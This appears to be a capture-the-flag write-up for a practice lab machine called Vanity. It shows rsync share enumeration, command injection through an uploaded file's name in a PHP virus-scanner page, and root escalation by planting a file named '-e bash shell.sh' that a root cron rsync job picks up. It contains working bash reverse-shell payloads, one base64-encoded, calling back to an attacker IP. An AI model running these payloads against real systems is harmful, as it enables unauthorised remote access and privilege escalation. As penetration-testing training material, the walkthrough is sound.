Summary #
On port 873 is a rsync
service running, sharing source code of the web application running on port 80. Analyzing the source code we’re able to use command injection to get initial access. Once on the target we find a bash script is run every minute as the root
user. This script executes a rsync
command in the /var/www/html/uploads/
directory. We can write in this directory and add a reverse shell that is executed by the cronjob using the -e
option, to escalate our privileges to the root
user.
Specifications #
- Name: VANITY
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux vanity 5.4.0-120-generic #136-Ubuntu SMP Fri Jun 10 13:40:48 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.173.234
- OFFSEC provided credentials: None
- HASH:
local.txt
:15a185f2bd4bff2135d6c107da99522e
- HASH:
proof.txt
:d1de0739edbc26becc0b349cc198f693
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir vanity && cd vanity && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Oct 13 18:53 .
drwxrwxr-x 91 kali kali 4096 Oct 13 18:53 ..
drwxrwxr-x 2 kali kali 4096 Oct 13 18:53 enum
drwxrwxr-x 2 kali kali 4096 Oct 13 18:53 exploits
drwxrwxr-x 2 kali kali 4096 Oct 13 18:53 files
drwxrwxr-x 2 kali kali 4096 Oct 13 18:53 tools
drwxrwxr-x 2 kali kali 4096 Oct 13 18:53 uploads
## set bash variable
ip=192.168.173.234
## ping target to check if it's online
ping $ip
PING 192.168.173.234 (192.168.173.234) 56(84) bytes of data.
64 bytes from 192.168.173.234: icmp_seq=1 ttl=61 time=21.0 ms
64 bytes from 192.168.173.234: icmp_seq=2 ttl=61 time=21.7 ms
^C
--- 192.168.173.234 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 20.963/21.350/21.737/0.387 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.173.234:22
Open 192.168.173.234:80
Open 192.168.173.234:873
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 18:54 CEST
Initiating Ping Scan at 18:54
Scanning 192.168.173.234 [4 ports]
Completed Ping Scan at 18:54, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:54
Completed Parallel DNS resolution of 1 host. at 18:54, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:54
Scanning 192.168.173.234 [3 ports]
Discovered open port 22/tcp on 192.168.173.234
Discovered open port 80/tcp on 192.168.173.234
Discovered open port 873/tcp on 192.168.173.234
Completed SYN Stealth Scan at 18:54, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.173.234
Host is up, received echo-reply ttl 61 (0.028s latency).
Scanned at 2025-10-13 18:54:00 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
873/tcp open rsync syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
873/tcp open rsync syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,873
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,873 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vanity Virus Scanner
873/tcp open rsync syn-ack ttl 61 (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
873/tcp open rsync syn-ack ttl 61 (protocol version 31)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vanity Virus Scanner
On port 873 is a rsync
service running. Using nmap
we can query the directory shares. This show two directories being shared: source
and backup
. Let’s dump the content in a new directory called dump
. We can only dump the source
directory, the backup
directory is password protected.
## change directory
cd files
## query directory shares using nmap
nmap -sV --script "rsync-list-modules" $ip -p 873
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 18:57 CEST
Nmap scan report for 192.168.173.234
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
| rsync-list-modules:
| source Web Source
|_ backup Virus Samples Backup
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
## make directory
mkdir dump
## dumping content `/source` directory
rsync -av rsync://$ip:873/source ./dump
receiving incremental file list
./
index.html
style.css
uploads/
uploads/upload.php
sent 96 bytes received 4,002 bytes 2,732.00 bytes/sec
total size is 3,707 speedup is 0.90
## dumping content `/backup` directory
rsync -av rsync://$ip:873/backup ./dump
Password:
## list content `./dump` directory
find ./dump
./dump
./dump/uploads
./dump/uploads/upload.php
./dump/style.css
./dump/index.html
When we view the ./dump/index.html
in a browser (firefox ./dump/index.html
) we see a Vanity Virus Scanner
. That’s the same application that is hosted on port 80: (http://192.168.173.234/
).

In the uploads
directory, there is a upload.php
file.
<?php
//Check if the file is well uploaded
if($_FILES['file']['error'] > 0) { echo 'Error during uploading, try again'; }
//Set up valid extension
$extsNotAllowed = array( 'php','php7','php6','phar','phtml','phps','pht','phtm','pgif','shtml','htaccess','inc');
$extUpload = strtolower( substr( strrchr($_FILES['file']['name'], '.') ,1) ) ;
//Check if the uploaded file extension is allowed
if (in_array($extUpload, $extsNotAllowed) ) {
echo 'File not allowed';
}
else {
$name = "{$_FILES['file']['name']}";
$result = move_uploaded_file($_FILES['file']['tmp_name'], $name);
if($result){
system("/usr/bin/clamscan $name");
}
}
?>
At the end of the script a system function is called to run a command /usr/bin/clamscan
with the name of the file. Perhaps we can a command injection attack by uploading a file called 1;id
to also run the id
command after the /usr/bin/clamscan
command. So, let’s first create that file.
## create file `1;id`
echo 1 > '1;id'
Now we go the web application, browse to the file and upload it by clicking on the Upload
button.

After a little while, we indeed confirm that we have command injection.

Now, let’s send a reverse shell command. Once again, browse to the file 1;id
, select it, but before uploading, start BURP, set the proxy to intercept and click Upload
. Now send the request to the repeater tab. Before sending it we need to create a base64 encoded reverse shell command, which we’ll use in the BURP request.
## create a base64 encoded reverse shell command
echo -n 'bash -i >& /dev/tcp/192.168.45.234/9001 0>&1 ' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMzQvOTAwMSAgMD4mMSAg
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
Copy the base64 encoded string, paste it in the following string: 1;echo -n 'YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMzQvOTAwMSAgMD4mMSAg'|base64 -d|bash
and paste that string in the BURP request.

Click on Send
to get initial access on the target as the www-data
user in the /var/www/html/uploads
directory.
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.234] from (UNKNOWN) [192.168.173.234] 47802
bash: cannot set terminal process group (947): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vanity:/var/www/html/uploads$
## find `local.txt` on the filesystem
www-data@vanity:/var/www/html/uploads$ find / -iname 'local.txt' 2>/dev/null
/var/www/local.txt
## print `local.txt`
www-data@vanity:/var/www/html/uploads$ cat /var/www/local.txt
15a185f2bd4bff2135d6c107da99522e
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.234
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
www-data@vanity:/var/www/html/uploads$ cd /var/tmp
www-data@vanity:/var/tmp$
## download `linpeas.sh`
www-data@vanity:/var/tmp$ wget http://192.168.45.234/linpeas.sh
--2025-10-13 17:48:20-- http://192.168.45.234/linpeas.sh
Connecting to 192.168.45.234:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 5.65MB/s in 0.2s
2025-10-13 17:48:20 (5.65 MB/s) - 'linpeas.sh' saved [961834/961834]
## set the execution bit
www-data@vanity:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@vanity:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows there is a bash script /opt/backup.sh
run every minute by the root
user. When we view this script it’s changing directory to /var/www/html/uploads/
and then running this rsync command: rsync --password-file=/root/passwd -a * rsync://vanity/backup/
. The rsync
command supports a -e
option to run a command. So, we can add a file in the /var/www/html/uploads/
called: -e bash shell.sh
and the command will be added to the cronjob command and run our bash shell containing a reverse shell command. This will escalate our privileges to the root
user.
## print `/etc/crontab`
www-data@vanity:/var/tmp$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root bash /opt/backup.sh
## print `/opt/backup.sh`
www-data@vanity:/var/tmp$ cat /opt/backup.sh
cd /var/www/html/uploads/
rsync --password-file=/root/passwd -a * rsync://vanity/backup/
## change directory
www-data@vanity:/var/tmp$ cd /var/www/html/uploads/
www-data@vanity:/var/www/html/uploads$
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.234
## echo the reverse shell command to
echo '/usr/bin/bash -i >& /dev/tcp/192.168.45.234/9001 0>&1' > shell.sh
## create the `-e bash shell.sh` file
touch '/var/www/html/uploads/-e bash shell.sh'
## catch the reverse shell, after a minute of less
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.234] from (UNKNOWN) [192.168.173.234] 48034
bash: cannot set terminal process group (45613): Inappropriate ioctl for device
bash: no job control in this shell
root@vanity:/var/www/html/uploads#
## print `proof.txt`
root@vanity:/var/www/html/uploads# cat /root/proof.txt
d1de0739edbc26becc0b349cc198f693
References #
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh